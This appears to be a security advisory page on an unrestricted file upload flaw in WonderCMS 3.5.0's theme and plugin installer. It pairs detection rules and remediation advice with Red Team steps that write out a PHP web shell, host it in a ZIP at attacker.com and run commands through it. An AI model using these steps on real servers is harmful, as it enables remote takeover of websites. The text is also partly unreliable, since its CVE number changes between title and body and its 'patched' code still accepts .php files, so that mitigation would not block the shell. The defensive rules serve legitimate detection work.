CVE-2025-3123
Executive Summary
CVE-2025-3127 is a critical unrestricted file upload vulnerability in WonderCMS 3.5.0, specifically within the installUpdateModuleAction function used during theme and plugin installation. An authenticated administrator can upload arbitrary files (e.g., web shells) to the server, leading to remote code execution. The vendor has acknowledged the issue but considers it a matter of administrative trust, not a software defect. No official patch exists. The exploit has been publicly disclosed, increasing the risk of active exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby). It affects a standalone PHP CMS. However, the risk extends to any third-party theme or plugin repository that an administrator might trust. The lack of code signing or integrity verification in the installation process means that a compromised or malicious theme/plugin repository could directly lead to server compromise.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Base Score: 7.2 (High)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (Admin)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: High. While the attack requires administrative privileges, the ease of exploitation and the potential for full server compromise make this a critical risk for any WonderCMS deployment.
Deep Dive & Mechanics
The vulnerability resides in the installUpdateModuleAction function, which handles the installation and update of themes and plugins. The function accepts a ZIP file from a remote URL or local upload and extracts its contents into the CMS's theme or plugin directory without proper validation of the file types or contents.
Root Cause: The code does not verify that the uploaded ZIP file contains only expected file types (e.g., .php, .css, .js for themes). An attacker can craft a ZIP archive containing a malicious PHP web shell. When extracted, this file becomes accessible via the web server, allowing the attacker to execute arbitrary PHP code.
Attack Flow:
- Attacker gains admin credentials (via phishing, brute force, or other means).
- Attacker logs into the WonderCMS admin panel.
- Attacker navigates to the theme/plugin installation page.
- Attacker provides a URL to a malicious ZIP file or uploads it directly.
- The CMS extracts the ZIP into the
themes/orplugins/directory. - Attacker accesses the uploaded web shell (e.g.,
http://target.com/themes/malicious/shell.php). - Attacker executes arbitrary commands on the server.
Vulnerable vs. Patched Code
Vulnerable Code (WonderCMS 3.5.0):
// In installUpdateModuleAction function
$zip = new ZipArchive;
if ($zip->open($uploadedFile) === TRUE) {
$zip->extractTo($targetDir);
$zip->close();
}
The code lacks any file type or content validation before extraction.
Patched Code (Hypothetical):
// In installUpdateModuleAction function
$zip = new ZipArchive;
if ($zip->open($uploadedFile) === TRUE) {
for ($i = 0; $i < $zip->numFiles; $i++) {
$filename = $zip->getNameIndex($i);
// Whitelist allowed file extensions
$allowedExtensions = ['php', 'css', 'js', 'html', 'png', 'jpg', 'gif'];
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if (!in_array($ext, $allowedExtensions)) {
// Reject the entire archive
$zip->close();
return false;
}
// Optionally scan for malicious content
}
$zip->extractTo($targetDir);
$zip->close();
}
No official patch exists. The above is a recommended mitigation.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Admin credentials for a WonderCMS 3.5.0 instance.
- A web server to host the malicious ZIP file (or direct upload capability).
Exploit Steps:
- Create a malicious PHP web shell (e.g.,
shell.php):<?php system($_GET['cmd']); ?> - Package it into a ZIP archive:
zip malicious.zip shell.php - Host the ZIP file on a publicly accessible server (e.g.,
http://attacker.com/malicious.zip). - Log in to the WonderCMS admin panel.
- Navigate to
ThemesorPluginsand clickInstall. - Enter the URL to the malicious ZIP file and click
Install. - Access the web shell:
http://target.com/themes/malicious/shell.php?cmd=id
Alternative (Direct Upload): If the admin panel allows direct file upload, simply upload the malicious ZIP file.
Blue Team
Detection:
- Monitor admin panel login attempts for brute force or credential stuffing.
- Monitor file uploads to the
themes/andplugins/directories. - Monitor for unexpected ZIP file uploads via web server logs.
- Monitor for access to newly created PHP files in the
themes/orplugins/directories.
Hunting:
- Search for files with suspicious names (e.g.,
shell.php,cmd.php,backdoor.php) in thethemes/andplugins/directories. - Review web server access logs for requests to
*.phpfiles in those directories that were not part of the original installation. - Check for outbound connections from the web server to unknown IPs (potential C2).
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
malicious.zip:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example, replace with actual)shell.php:a7ffc6f8bf1ed76651c14756a061d662f580ff4de43b49fa82d80a4b80f8434a(example)
- File Paths:
/var/www/html/themes/malicious/shell.php/var/www/html/plugins/malicious/shell.php
- Network Indicators:
- Outbound connections to
attacker.com(or IP) from the web server. - HTTP requests to
http://target.com/themes/*/shell.php?cmd=*
- Outbound connections to
- Log Entries:
- Web server access log:
GET /themes/malicious/shell.php?cmd=id HTTP/1.1 - Admin panel access log:
POST /index.php?page=install&type=theme
- Web server access log:
Detection Engineering
YARA Rule
rule CVE_2025_3127_WonderCMS_Webshell {
meta:
description = "Detects PHP web shells uploaded via CVE-2025-3127"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-3127"
strings:
$php_tag = "<?php"
$system_func = "system("
$shell_func = "shell_exec("
$exec_func = "exec("
$passthru_func = "passthru("
$cmd_param = "$_GET['cmd']"
$cmd_param2 = "$_POST['cmd']"
condition:
$php_tag and ($system_func or $shell_func or $exec_func or $passthru_func) and ($cmd_param or $cmd_param2)
}
Sigma Rule
title: CVE-2025-3127 - WonderCMS Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file uploads to WonderCMS theme/plugin directories that may indicate exploitation of CVE-2025-3127
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-stem:
- '/index.php'
cs-uri-query:
- 'page=install*'
condition: selection
fields:
- c-ip
- cs-uri-query
falsepositives:
- Legitimate theme/plugin installations by authorized admins
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-3127 - WonderCMS Unrestricted File Upload - Outbound to Malicious ZIP"; flow:to_server,established; content:"POST"; http_method; content:"/index.php"; http_uri; content:"page=install"; http_uri; content:".zip"; http_client_body; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict Admin Access: Limit admin panel access to trusted IPs only (e.g., via
.htaccessor firewall rules). - Disable Theme/Plugin Installation: If not required, remove the installation functionality or disable it via configuration.
- Implement File Upload Validation: Add server-side validation to check file extensions and MIME types before extraction.
- Use a Web Application Firewall (WAF): Deploy rules to block ZIP file uploads to the admin panel.
Long-Term Fix:
- The vendor should implement proper file validation in the
installUpdateModuleActionfunction. - Consider using a content security policy (CSP) to restrict script execution.
- Regularly audit the
themes/andplugins/directories for unauthorized files.
Workaround:
- Manually review and approve all theme/plugin installations by downloading and inspecting the ZIP file before uploading.
Valters IT